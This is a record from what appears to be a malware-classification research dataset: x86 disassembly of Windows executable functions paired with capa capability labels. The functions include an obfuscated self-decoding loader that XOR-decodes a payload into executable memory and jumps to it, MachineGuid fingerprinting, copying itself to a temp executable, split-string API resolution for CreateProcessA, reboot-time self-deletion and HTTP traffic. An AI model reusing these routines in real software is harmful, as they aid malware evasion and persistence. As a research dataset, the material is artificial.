joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404c70
Capabilities:
Get common file path
Move file

Disassembly:
sub esp, 0x220
mov al, byte [0x40bd88]
push ebp
push esi
push edi
mov byte [esp + 0x24], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x25]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x24]
push ecx
push 0x104
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
test eax, eax
jne 0x404caf
mov byte [esp + 0x24], 0x2e
mov byte [esp + 0x25], al
lea edx, [esp + 0xc]
push 0x18
push edx
call fcn.00404750
add esp, 8
lea eax, [esp + 0x128]
lea ecx, [esp + 0xc]
lea edx, [esp + 0x24]
push eax
push 0
push ecx
push edx
mov dword [0x40c954], 0
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameA]
push 0
push 0x8000080
push 2
push 0
push 1
lea eax, [esp + 0x13c]
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x404d15
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x220
ret
mov ecx, dword [esp + 0x238]
push 0
push ecx
push 0
push 4
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
mov edi, eax
test edi, edi
jne 0x404d45
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x220
ret
mov ecx, dword [esp + 0x23c]
mov edx, dword [ecx + 4]
mov eax, dword [ecx]
lea ebp, [eax + edx]
test ebp, ebp
je 0x404d71
test eax, eax
je 0x404d71
test edx, edx
je 0x404d71
mov eax, dword [0x40c928]
test eax, eax
je 0x404d71
push ecx
push 0
push 0
push esi
call eax
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push 0
push 0
push 0
push 0xf001f
push edi
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
push edi
mov ebp, eax
call esi
test ebp, ebp
jne 0x404da1
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x220
ret
mov ecx, dword [esp + 0x238]
mov esi, dword [esp + 0x234]
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_UnmapViewOfFile]
lea eax, [esp + 0x128]
push eax
call fcn.00404b60
mov esi, eax
add esp, 4
test esi, esi
je 0x404e02
mov edi, dword [esp + 0x230]
lea ecx, [esp + 0x128]
push edi
push ecx
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
push 0x40c954
push edi
mov esi, eax
call fcn.00404ab0
add esp, 8
mov eax, esi
pop edi
pop esi
pop ebp
add esp, 0x220
ret
Function at 0x10010730
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x1001073f
pop dword [ebp - 0x14]
mov eax, 0x1001073f
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x52c93a79
add dword [ebp - 0x24], 0xfb890ad2
mov dword [ebp - 0x20], 0xeefb7d01
sub dword [ebp - 0x20], 0xbcc830bc
mov dword [ebp - 0x1c], 0x6a882706
sub dword [ebp - 0x1c], 0x1e3be2d8
mov dword [ebp - 0x18], 0xd809bcae
add dword [ebp - 0x18], 0x27f64352
lea eax, [ebp - 0x24]
push eax
mov eax, 0x69b74684
add eax, 0xa64a698c
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x2703b78c
sub dword [ebp - 0x24], 0xb2914e36
mov dword [ebp - 0x20], 0x2bde64bb
sub dword [ebp - 0x20], 0xea720346
mov dword [ebp - 0x1c], 0x5545640f
sub dword [ebp - 0x1c], 0xf1d5f7a3
mov dword [ebp - 0x18], 0x819b70e3
sub dword [ebp - 0x18], 0x819b70e3
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3c43f
push 0
call eax
mov ecx, 0x28f9498b
sub ecx, 0x28f9098b
mov edx, eax
mov ebx, 0xfaf86b09
add ebx, 0x150a44f7
add ebx, dword [ebp - 0x14]
mov esi, 0xc7284cfc
xor dword [ebp - 0x10], eax
mov edi, dword [ebx]
sub dword [ebp - 0x10], 0xfcf33b88
xor edi, esi
xor dword [ebp - 8], edi
mov dword [edx], edi
sub dword [ebp - 8], 0xe558aae8
add edx, 0xa839b37b
add edx, 0x57c64c89
add ebx, 0xdf221272
sub ebx, 0xdf22126e
loop 0x10010851
add eax, 0xf2d3
xor ebx, ebx
add ebx, eax
add eax, 0x8a79cdd0
add eax, 0x75863235
mov ecx, 0xad970cae
sub ecx, 0x9d970cae
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x401f02
Capabilities:
Encode data using xor
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
mov edx, dword [eax]
mov ecx, dword [eax + 4]
mov eax, edx
shr eax, 4
xor eax, ecx
and eax, 0xf0f0f0f
xor ecx, eax
shl eax, 4
xor edx, eax
mov eax, edx
shr eax, 0x10
xor eax, ecx
and eax, 0xffff
xor ecx, eax
shl eax, 0x10
xor edx, eax
mov eax, ecx
shr eax, 2
xor eax, edx
and eax, 0x33333333
xor edx, eax
shl eax, 2
xor ecx, eax
mov eax, ecx
shr eax, 8
xor eax, edx
and eax, 0xff00ff
xor edx, eax
shl eax, 8
xor eax, ecx
rol eax, 1
mov ecx, eax
push ebx
xor ecx, edx
and ecx, 0xaaaaaaaa
push esi
xor eax, ecx
push edi
xor ecx, edx
rol ecx, 1
push 0x3f
mov dword [ebp - 4], ecx
mov dword [ebp - 8], 8
pop edi
mov ecx, dword [ebp + 0xc]
mov esi, eax
ror esi, 4
xor esi, dword [ecx]
add ecx, 8
mov edx, esi
shr edx, 0x18
mov ebx, esi
shr ebx, 0x10
and ebx, edi
and edx, edi
mov edx, dword [edx*4 + 0x423058]
or edx, dword [ebx*4 + 0x423258]
mov ebx, esi
shr ebx, 8
and ebx, edi
or edx, dword [ebx*4 + 0x423458]
mov dword [ebp + 0xc], ecx
and esi, edi
or edx, dword [esi*4 + 0x423658]
mov esi, dword [ecx - 4]
xor esi, eax
mov ecx, esi
shr ecx, 0x18
and ecx, edi
mov ecx, dword [ecx*4 + 0x423158]
mov ebx, esi
shr ebx, 0x10
and ebx, edi
or ecx, dword [ebx*4 + 0x423358]
mov ebx, esi
shr ebx, 8
and ebx, edi
or ecx, dword [ebx*4 + 0x423558]
and esi, edi
or ecx, dword [esi*4 + 0x423758]
or ecx, edx
xor dword [ebp - 4], ecx
mov ecx, dword [ebp + 0xc]
mov esi, dword [ebp - 4]
ror esi, 4
xor esi, dword [ecx]
add ecx, 8
mov edx, esi
shr edx, 0x18
mov ebx, esi
shr ebx, 0x10
and ebx, edi
and edx, edi
mov edx, dword [edx*4 + 0x423058]
or edx, dword [ebx*4 + 0x423258]
mov ebx, esi
shr ebx, 8
and ebx, edi
or edx, dword [ebx*4 + 0x423458]
and esi, edi
or edx, dword [esi*4 + 0x423658]
mov esi, dword [ecx - 4]
xor esi, dword [ebp - 4]
mov dword [ebp + 0xc], ecx
mov ecx, esi
shr ecx, 0x18
and ecx, edi
mov ecx, dword [ecx*4 + 0x423158]
mov ebx, esi
shr ebx, 0x10
and ebx, edi
or ecx, dword [ebx*4 + 0x423358]
mov ebx, esi
shr ebx, 8
and ebx, edi
or ecx, dword [ebx*4 + 0x423558]
and esi, edi
or ecx, dword [esi*4 + 0x423758]
or ecx, edx
xor eax, ecx
dec dword [ebp - 8]
jne 0x401f7d
ror eax, 1
mov edx, eax
xor edx, dword [ebp - 4]
pop edi
and edx, 0xaaaaaaaa
xor eax, edx
xor edx, dword [ebp - 4]
ror edx, 1
mov ecx, edx
shr ecx, 8
xor ecx, eax
and ecx, 0xff00ff
xor eax, ecx
shl ecx, 8
xor edx, ecx
mov ecx, edx
shr ecx, 2
xor ecx, eax
and ecx, 0x33333333
xor eax, ecx
shl ecx, 2
xor edx, ecx
mov ecx, eax
shr ecx, 0x10
xor ecx, edx
and ecx, 0xffff
xor edx, ecx
shl ecx, 0x10
xor eax, ecx
mov ecx, eax
shr ecx, 4
xor ecx, edx
and ecx, 0xf0f0f0f
mov esi, ecx
shl esi, 4
xor esi, eax
mov eax, dword [ebp + 8]
mov dword [eax], esi
xor ecx, edx
pop esi
mov dword [eax + 4], ecx
pop ebx
leave
ret
Function at 0x4021f3
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xfc
mov eax, dword [0x423c40]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor ebx, ebx
push edi
xor ecx, ecx
movzx eax, byte [ecx + 0x4238c8]
mov esi, dword [ebp + 8]
mov edx, eax
sar edx, 3
mov dl, byte [edx + esi]
and eax, 7
test byte [eax*2 + 0x423858], dl
setne al
mov byte [ebp + ecx - 0x74], al
inc ecx
cmp ecx, 0x38
jl 0x40220d
mov dword [ebp - 0xf8], ebx
mov dword [ebp - 0xfc], 0x1e
cmp word [ebp + 0xc], 1
jne 0x402255
mov eax, dword [ebp - 0xfc]
jmp 0x40225d
mov eax, dword [ebp - 0xf8]
add eax, eax
lea ecx, [ebp + eax*4 - 0xf0]
lea esi, [ebp + eax*4 - 0xf4]
mov eax, dword [ebp - 0xf8]
movzx eax, byte [eax + 0x423900]
mov dword [ecx], ebx
mov dword [esi], ebx
xor edx, edx
mov edi, eax
cmp edi, 0x1c
jge 0x40228b
mov bl, byte [ebp + edi - 0x74]
jmp 0x402292
mov bl, byte [ebp + edi - 0x90]
mov byte [ebp + edx - 0x3c], bl
inc edx
inc edi
cmp edx, 0x1c
jl 0x402280
push 0x1c
pop edi
add eax, edi
cmp eax, 0x38
jge 0x4022ad
mov dl, byte [ebp + eax - 0x74]
jmp 0x4022b4
mov dl, byte [ebp + eax - 0x90]
mov byte [ebp + edi - 0x3c], dl
inc edi
inc eax
cmp edi, 0x38
jl 0x4022a2
xor ebx, ebx
xor eax, eax
movzx edi, byte [eax + 0x423910]
cmp byte [ebp + edi - 0x3c], bl
je 0x4022d9
mov edi, dword [eax*4 + 0x423868]
or dword [esi], edi
movzx edx, byte [eax + 0x423928]
cmp byte [ebp + edx - 0x3c], bl
je 0x4022ef
mov edx, dword [eax*4 + 0x423868]
or dword [ecx], edx
inc eax
cmp eax, 0x18
jl 0x4022c3
sub dword [ebp - 0xfc], 2
inc dword [ebp - 0xf8]
cmp dword [ebp - 0xfc], 0xfffffffe
jg 0x402246
lea eax, [ebp - 0xf4]
push eax
call fcn.0040213a
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d1aa
leave
ret

Function at 0x402cff
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 0x41b28c
push dword [ebp + 8]
call fcn.0040d280
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
and dword [ebp - 4], 0
pop ecx
pop ecx
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
mov ebx, str.SOFTWAREMicrosoftCryptography
push ebx
mov edi, reloc.OLEAUT32.dll_SysReAllocString
push edi
mov dword [ebp - 8], 0x64
call esi
test eax, eax
jne 0x402d99
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
push 0
push str.MachineGuid
push dword [ebp - 4]
mov dword [ebp - 0xc], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x402d99
lea eax, [ebp - 4]
push eax
push 0x20119
push 0
push ebx
push edi
call esi
test eax, eax
jne 0x402d99
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
push 0
push str.MachineGuid
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402dec
Capabilities:
Check if file exists
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4dc
mov eax, dword [0x423c40]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x4d4], eax
lea eax, [ebp - 0x4cc]
push esi
push eax
call fcn.00402d9e
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
pop ecx
lea eax, [ebp - 0x4cc]
push eax
mov byte [ebp - 0x4cd], 0
call esi
test eax, eax
je 0x402e3b
mov byte [ebp - 0x4cd], 1
push edi
mov edi, str.c:logs
push edi
call esi
test eax, eax
jne 0x402e50
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
cmp byte [ebp - 0x4cd], 0
pop edi
je 0x402f0e
push 0
call fcn.0040e9e8
mov dword [ebp - 0x4dc], eax
lea eax, [ebp - 0x4dc]
push eax
mov dword [ebp - 0x4d8], edx
call fcn.0040e9c1
mov esi, eax
push esi
push str._Y_m_d__H:_M:_S
lea eax, [ebp - 0x80]
push 0x32
push eax
call fcn.0040f784
push esi
push str.c:logs_soft_Y_m_d
lea eax, [ebp - 0x4c]
push 0x46
push eax
call fcn.0040f784
push ebx
lea eax, [ebp - 0xe4]
push 0x41b448
push eax
call fcn.0040d546
lea eax, [ebp - 0xe4]
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.0040d290
lea eax, [ebp - 0x4c]
push str..log
push eax
call fcn.0040d290
add esp, 0x44
lea eax, [ebp - 0x4c]
push 0x41b43c
push eax
call fcn.0040da37
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x402f0e
push dword [ebp - 0x4d4]
lea eax, [ebp - 0x80]
push eax
push str._s__s_n
push esi
call fcn.0040ec1f
push esi
call fcn.0040ebc3
push esi
call fcn.0040d736
add esp, 0x18
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d1aa
leave
ret
Function at 0x405092
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x423c40]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0x400
call fcn.0040d635
mov ebx, eax
pop ecx
xor eax, eax
mov esi, 0x3ff
mov byte [eax + ebx], al
inc eax
cmp eax, esi
jl 0x4050bf
push 0x41b28c
push ebx
call fcn.0040d280
pop ecx
pop ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
push esi
lea eax, [ebp - 0x404]
push 0
push eax
call fcn.0040cc80
push ebx
push edi
call fcn.0040d280
lea eax, [ebp - 0x404]
push eax
push edi
call fcn.0040d290
push str.imgparser
push edi
call fcn.0040d290
push 0x41b9cc
push edi
call fcn.0040d290
push 0x41b3d8
push edi
call fcn.0040d290
push str..exe
push edi
call fcn.0040d290
push ebx
call fcn.0040d5fb
mov ecx, dword [ebp - 4]
add esp, 0x40
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d1aa
leave
ret

Function at 0x4051b2
Capabilities:
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
mov eax, dword [0x423c40]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, 0x3ff
push esi
xor ebx, ebx
lea eax, [ebp - 0x404]
push ebx
push eax
call fcn.0040cc80
lea eax, [ebp - 0x404]
push eax
call fcn.00405092
add esp, 0x10
push esi
lea eax, [ebp - 0x804]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x808]
push eax
lea eax, [ebp - 0x804]
push eax
mov dword [ebp - 0x808], 0x6272
call fcn.0040da37
mov esi, eax
pop ecx
pop ecx
cmp esi, ebx
je 0x4052e9
push edi
push 2
push ebx
push esi
call fcn.0040e261
push esi
call fcn.0040e172
push ebx
push ebx
push esi
mov dword [ebp - 0x80c], eax
call fcn.0040e261
push dword [ebp - 0x80c]
call fcn.0040d635
push esi
push dword [ebp - 0x80c]
mov dword [ebp - 0x814], eax
push 1
push eax
call fcn.0040dfc1
add esp, 0x30
push 0x80
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
mov dword [ebp - 0x810], 4
xor edi, edi
cmp dword [ebp - 0x810], ebx
jle 0x4052b4
lea eax, [ebp - 0x404]
push 0x41b320
push eax
call fcn.0040da37
dec dword [ebp - 0x810]
pop ecx
pop ecx
push 0x3e8
mov edi, eax
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp edi, ebx
je 0x405282
cmp edi, ebx
je 0x4052d5
push edi
push dword [ebp - 0x80c]
push 1
push dword [ebp - 0x814]
call fcn.0040d901
push edi
call fcn.0040d736
add esp, 0x14
push dword [ebp - 0x814]
call fcn.0040d5fb
push esi
call fcn.0040d736
pop ecx
pop ecx
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d1aa
leave
ret

Function at 0x405362
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
and dword [eax + 0x14], 0
and dword [eax + 0x10], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
pop ebp
ret
Function at 0x405b96
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
xor esi, esi
push esi
push esi
push esi
push 1
push str.http
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x18], eax
cmp eax, esi
je 0x405ce9
push esi
push esi
push 3
push esi
push esi
push 0x50
push dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
cmp eax, esi
je 0x405ce0
push ebx
push esi
push 0x80000
push esi
push 0x41b28c
push str.HTTP_1.1
push dword [ebp + 0x14]
push dword [ebp + 0x20]
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
cmp ebx, esi
je 0x405cdf
mov esi, dword [sym.imp.WININET.dll_InternetSetOptionA]
or dword [ebp - 0x14], 0xffffffff
push edi
push 4
pop edi
push edi
lea eax, [ebp - 8]
push eax
push 2
push ebx
mov dword [ebp - 8], 0x3a98
call esi
push edi
lea eax, [ebp - 8]
push eax
push 7
push ebx
call esi
push edi
lea eax, [ebp - 8]
push eax
push 8
push ebx
call esi
push edi
lea eax, [ebp - 8]
push eax
push 5
push ebx
call esi
push edi
lea eax, [ebp - 8]
push eax
push 6
push ebx
call esi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
push 2
push ebx
mov dword [ebp - 0x10], edi
call dword [sym.imp.WININET.dll_InternetQueryOptionA]
push str.send_request
call fcn.00402f1c
xor edi, edi
xor eax, eax
xor esi, esi
pop ecx
cmp dword [ebp + 0x24], edi
je 0x405c77
push dword [ebp + 0x24]
call fcn.0040c460
pop ecx
cmp dword [ebp + 0xc], edi
je 0x405c7f
mov esi, dword [ebp + 0x10]
push esi
push dword [ebp + 0xc]
push eax
push dword [ebp + 0x24]
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
setne byte [ebp - 1]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp byte [ebp - 1], 0
je 0x405cde
mov esi, dword [ebp + 0x1c]
mov dword [esi], edi
mov edi, dword [ebp + 0x18]
push 0x41b28c
push edi
call fcn.0040d280
pop ecx
pop ecx
and dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
push 0x800
push edi
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
mov eax, dword [ebp - 0xc]
setne cl
add dword [esi], eax
add edi, eax
test cl, cl
je 0x405cde
test eax, eax
jne 0x405cb5
pop edi
pop ebx
push dword [ebp - 0x18]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
pop esi
leave
ret
Function at 0x4069bd
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1fc
mov eax, dword [0x423c40]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push str.el32
push 0x41bbe0
lea eax, [ebp - 0x68]
push str._sRn_s.dll
push eax
call fcn.0040d546
lea eax, [ebp - 0x68]
push eax
call fcn.0041a2c0
push str.bjec
push str.tForSin
push 0x41bbc0
lea eax, [ebp - 0x130]
push str._s_sgleO_st
push eax
call fcn.0040d546
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
add esp, 0x28
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x68]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push eax
call edi
push 0x41bbb0
push str.oseHand
push 0x41bba4
mov dword [ebp - 0x1b4], eax
lea eax, [ebp - 0xcc]
push str._s_s_s
push eax
call fcn.0040d546
add esp, 0x14
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x68]
push eax
call esi
push eax
call edi
push 3
mov dword [ebp - 0x1a0], eax
pop eax
push 0x44
pop esi
push esi
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], eax
xor edi, edi
lea eax, [ebp - 0x1fc]
push edi
push eax
call fcn.0040cc80
add esp, 0xc
cmp byte [ebp + 0x10], 0
mov dword [ebp - 0x1fc], esi
mov dword [ebp - 0x1d0], 1
je 0x406ab5
push 5
pop eax
jmp 0x406ab7
xor eax, eax
push 0x10
mov word [ebp - 0x1cc], ax
lea eax, [ebp - 0x1b0]
push edi
push eax
call fcn.0040cc80
push 0x7d0
call fcn.0040d635
push 0x7cf
mov esi, eax
push edi
push esi
mov dword [ebp - 0x19c], esi
call fcn.0040cc80
push ebx
mov dword [ebp - 0x198], edi
call fcn.0040c460
add esp, 0x20
test eax, eax
je 0x406b2b
mov eax, ebx
sub eax, esi
mov dword [ebp - 0x1b8], eax
jmp 0x406b10
mov eax, dword [ebp - 0x1b8]
mov al, byte [eax + esi]
inc dword [ebp - 0x198]
mov byte [esi], al
push ebx
inc esi
call fcn.0040c460
pop ecx
cmp dword [ebp - 0x198], eax
jb 0x406b0a
push str.atePro
push 0x41bb98
lea eax, [ebp - 0x194]
push str._se_scessA
push eax
call fcn.0040d546
add esp, 0x10
lea eax, [ebp - 0x1b0]
push eax
lea eax, [ebp - 0x1fc]
push eax
push edi
push edi
push edi
push 1
push edi
push edi
push dword [ebp - 0x19c]
push edi
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x406ba6
cmp dword [ebp - 0x1b0], edi
je 0x406ba6
cmp byte [ebp + 0xc], 0
je 0x406b8e
push 0x4e20
push dword [ebp - 0x1b0]
call dword [ebp - 0x1b4]
push dword [ebp - 0x1ac]
call dword [ebp - 0x1a0]
push dword [ebp - 0x1b0]
call dword [ebp - 0x1a0]
push dword [ebp - 0x19c]
call fcn.0040d5fb
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d1aa
leave
ret

Function at 0x406bc1
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3ec
mov eax, dword [0x423c40]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x3e7
lea eax, [ebp - 0x3ec]
push 0
push eax
call fcn.0040cc80
add esp, 0xc
push 0x3e8
lea eax, [ebp - 0x3ec]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 4
push 0
lea eax, [ebp - 0x3ec]
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileExA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040d1aa
leave
ret
Function at 0x407210
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
mov ebx, dword [edi + 0x2c]
push esi
mov esi, dword [edi + 0x3c]
sub esi, dword [edi + 0x74]
mov eax, dword [edi + 0x6c]
mov ecx, dword [edi + 0x2c]
lea edx, [ebx + ecx - 0x106]
sub esi, eax
cmp eax, edx
jb 0x407289
mov eax, dword [edi + 0x38]
push ebx
lea ecx, [eax + ebx]
push ecx
push eax
call fcn.0040c4f0
mov edx, dword [edi + 0x4c]
mov eax, dword [edi + 0x44]
sub dword [edi + 0x70], ebx
sub dword [edi + 0x6c], ebx
add esp, 0xc
sub dword [edi + 0x5c], ebx
lea ecx, [eax + edx*2]
movzx eax, word [ecx - 2]
sub ecx, 2
cmp eax, ebx
jb 0x407260
sub eax, ebx
jmp 0x407262
xor eax, eax
dec edx
mov word [ecx], ax
jne 0x407251
mov ecx, dword [edi + 0x40]
mov edx, ebx
lea ecx, [ecx + ebx*2]
movzx eax, word [ecx - 2]
sub ecx, 2
cmp eax, ebx
jb 0x40727f
sub eax, ebx
jmp 0x407281
xor eax, eax
dec edx
mov word [ecx], ax
jne 0x407270
add esi, ebx
mov eax, dword [edi]
cmp dword [eax + 4], 0
je 0x40735b
mov edx, dword [edi + 0x74]
add edx, dword [edi + 0x6c]
mov ecx, esi
add edx, dword [edi + 0x38]
mov esi, eax
push edx
call fcn.00407110
add dword [edi + 0x74], eax
mov edx, dword [edi + 0x74]
add esp, 4
cmp edx, 3
jb 0x4072d3
mov esi, dword [edi + 0x6c]
add esi, dword [edi + 0x38]
mov ecx, dword [edi + 0x58]
movzx eax, byte [esi]
mov dword [edi + 0x48], eax
shl eax, cl
movzx ecx, byte [esi + 1]
xor eax, ecx
and eax, dword [edi + 0x54]
mov dword [edi + 0x48], eax
cmp edx, 0x106
jae 0x4072e7
mov eax, dword [edi]
cmp dword [eax + 4], 0
jne 0x407215
mov eax, dword [edi + 0x16c0]
mov ecx, dword [edi + 0x3c]
cmp eax, ecx
jae 0x40735b
mov esi, dword [edi + 0x6c]
add esi, edx
cmp eax, esi
jae 0x40732a
sub ecx, esi
mov ebx, ecx
cmp ebx, 0x102
jbe 0x40730e
mov ebx, 0x102
mov ecx, dword [edi + 0x38]
push ebx
add ecx, esi
push 0
push ecx
call fcn.0040cc80
add esp, 0xc
add ebx, esi
pop esi
mov dword [edi + 0x16c0], ebx
pop ebx
ret
lea edx, [esi + 0x102]
cmp eax, edx
jae 0x40735b
sub esi, eax
add esi, 0x102
sub ecx, eax
cmp esi, ecx
jbe 0x407344
mov esi, ecx
mov ecx, dword [edi + 0x38]
push esi
add ecx, eax
push 0
push ecx
call fcn.0040cc80
add esp, 0xc
add dword [edi + 0x16c0], esi
pop esi
pop ebx
ret